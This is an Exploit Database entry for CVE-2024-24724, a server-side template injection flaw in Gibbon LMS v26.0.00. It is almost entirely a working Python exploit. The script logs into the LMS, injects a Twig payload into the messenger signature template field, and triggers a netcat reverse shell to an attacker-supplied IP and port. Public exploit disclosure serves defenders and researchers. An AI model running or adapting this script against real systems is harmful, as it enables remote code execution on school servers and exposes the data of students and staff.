Gibbon LMS v26.0.00 – SSTI vulnerability

Exploit Database
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作者： Ali Maharramli,Fikrat Guliev,Islam Rzayev

日期： 2024-04-02
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/51962/

# Exploit Title: Gibbon LMS v26.0.00 - SSTI vulnerability

# Date: 21.01.2024

# Exploit Author: SecondX.io Research Team(Islam Rzayev,Fikrat Guliev, Ali Maharramli)

# Vendor Homepage: https://gibbonedu.org/

# Software Link: https://github.com/GibbonEdu/core

# Version: v26.0.00

# Tested on: Ubuntu 22.0

# CVE : CVE-2024-24724

import requests

import re

import sys

def login(target_host, target_port,email,password):

url = f'http://{target_host}:{target_port}/login.php?timeout=true'

headers = {"Content-Type": "multipart/form-data;

boundary=---------------------------174475955731268836341556039466"}

data =

f"-----------------------------174475955731268836341556039466\r\nContent-Disposition:

form-data;

name=\"address\"\r\n\r\n\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition:

form-data;

name=\"method\"\r\n\r\ndefault\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition:

form-data;

name=\"username\"\r\n\r\n{email}\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition:

form-data;

name=\"password\"\r\n\r\n{password}\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition:

form-data;

name=\"gibbonSchoolYearID\"\r\n\r\n025\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition:

form-data;

name=\"gibboni18nID\"\r\n\r\n0002\r\n-----------------------------174475955731268836341556039466--\r\n"

r = requests.post(url, headers=headers, data=data,

allow_redirects=False)

Session_Cookie = re.split(r"\s+", r.headers['Set-Cookie'])

if Session_Cookie[4] is not None and '/index.php' in

str(r.headers['Location']):

print("login successful!")

return Session_Cookie[4]

def rce(cookie, target_host, target_port, attacker_ip, attacker_port):

url =

f'http://{target_host}:{target_port}/modules/School%20Admin/messengerSettingsProcess.php'

headers = {"Content-Type": "multipart/form-data;

boundary=---------------------------67142646631840027692410521651",

"Cookie": cookie}

data =

f"-----------------------------67142646631840027692410521651\r\nContent-Disposition:

form-data; name=\"address\"\r\n\r\n/modules/School

Admin/messengerSettings.php\r\n-----------------------------67142646631840027692410521651\r\nContent-Disposition:

form-data;

name=\"enableHomeScreenWidget\"\r\n\r\nY\r\n-----------------------------67142646631840027692410521651\r\nContent-Disposition:

form-data; name=\"signatureTemplate\"\r\n\r\n{{{{[\'rm /tmp/f;mkfifo

/tmp/f;cat /tmp/f|sh -i 2>&1|nc {attacker_ip} {attacker_port}

>/tmp/f']|filter('system')}}}}\r\n-----------------------------67142646631840027692410521651\r\nContent-Disposition: form-data; name=\"messageBcc\"\r\n\r\n\r\n-----------------------------67142646631840027692410521651\r\nContent-Disposition: form-data; name=\"pinnedMessagesOnHome\"\r\n\r\nN\r\n-----------------------------67142646631840027692410521651--\r\n"

r = requests.post(url, headers=headers, data=data,

allow_redirects=False)

if 'success0' in str(r.headers['Location']):

print("Payload uploaded successfully!")

def trigger(cookie, target_host, target_port):

url =

f'http://{target_host}:{target_port}/index.php?q=/modules/School%20Admin/messengerSettings.php&return=success0'

headers = {"Cookie": cookie}

print("RCE successful!")

r = requests.get(url, headers=headers, allow_redirects=False)

if __name__ == '__main__':

if len(sys.argv) != 7:

print("Usage: script.py <target_host> <target_port>

<attacker_ip> <attacker_port> <email> <password>")

sys.exit(1)

cookie = login(sys.argv[1], sys.argv[2],sys.argv[5],sys.argv[6])

rce(cookie, sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])

trigger(cookie, sys.argv[1], sys.argv[2])